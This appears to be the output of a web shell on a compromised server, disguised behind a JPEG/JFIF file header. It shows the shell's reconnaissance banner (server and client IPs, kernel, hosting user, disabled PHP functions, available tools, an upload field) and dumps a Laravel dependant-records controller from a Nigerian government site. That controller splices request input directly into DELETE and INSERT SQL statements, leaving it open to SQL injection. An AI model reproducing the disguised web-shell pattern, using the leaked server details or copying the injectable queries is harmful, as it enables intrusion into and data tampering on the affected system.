ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.191.14.26 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/ |
Upload File : |
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; //use Auth; use App\Http\Requests; use DB; use Auth; use Session; class DependantController extends functionController { public function __construct() { $this->middleware('auth'); $this->username = Session::get('userName'); }// public function getDependant(Request $request) { $data['error'] = ""; $data['warning'] = ""; $data['dependant'] = ""; $data['dob'] = ""; $data['relationship'] = ""; $data['gender'] = ""; $data['success'] = ""; $data['RelationList'] = DB::table('tbldependant_relationship')->select('id', 'relationship')->get(); $data['GenderList'] = DB::table('gender')->select('gender')->get(); $fileno= $this->StaffNo($this->username); $data['DependantList']=$this->DependantList($fileno) ; return view('Dependance.dependant', $data); } public function postDependant(Request $request) { $data['error'] = ""; $data['warning'] = ""; $data['dependant'] =trim($request['dependant']); $data['dob'] =trim($request['dob']); $data['relationship'] = trim($request['relationship']); $data['gender'] = trim($request['gender']); $data['success'] = ""; $delcode=trim($request['delcode']); DB::DELETE ("DELETE FROM `tblstaff_dependants` WHERE `id`='$delcode'"); $data['RelationList'] = DB::table('tbldependant_relationship')->select('id', 'relationship')->get(); $data['GenderList'] = DB::table('gender')->select('gender')->get(); $fileno= $this->StaffNo($this->username); $data['DependantList']=$this->DependantList($fileno) ; $updatedby = $this->username; $this->validate($request, [ 'dependant' => 'required', 'dob' => 'required', 'relationship' => 'required', 'gender' => 'required' ]); $dependantName=trim($request['dependant']); if ( isset( $_POST['add'] ) ) { if ($this->ConfirmDependant($fileno,$dependantName)){$data['warning'] = "This dependant $dependantName already exist with the staff"; return view('Dependance.dependant', $data); } $dependantGender=trim($request['gender']); $dependantRelationship=trim($request['relationship']); $dependantDOB=trim($request['dob']); $dependantName=trim($request['dependant']); DB::insert("INSERT INTO `tblstaff_dependants`(`fileNo`, `dependantName`, `dependantDOB`, `RelationshipID`, `dependantGender`, `createdBy`) VALUES ('$fileno','$dependantName','$dependantDOB','$dependantRelationship','$dependantGender','$updatedby')"); $data['DependantList']=$this->DependantList($fileno) ; $data['success'] = "$dependantName successfully updated"; $data['dependant'] = ""; $data['dob'] = ""; $data['relationship'] = ""; $data['gender'] = ""; return view('Dependance.dependant', $data); } return view('Dependance.dependant', $data); } }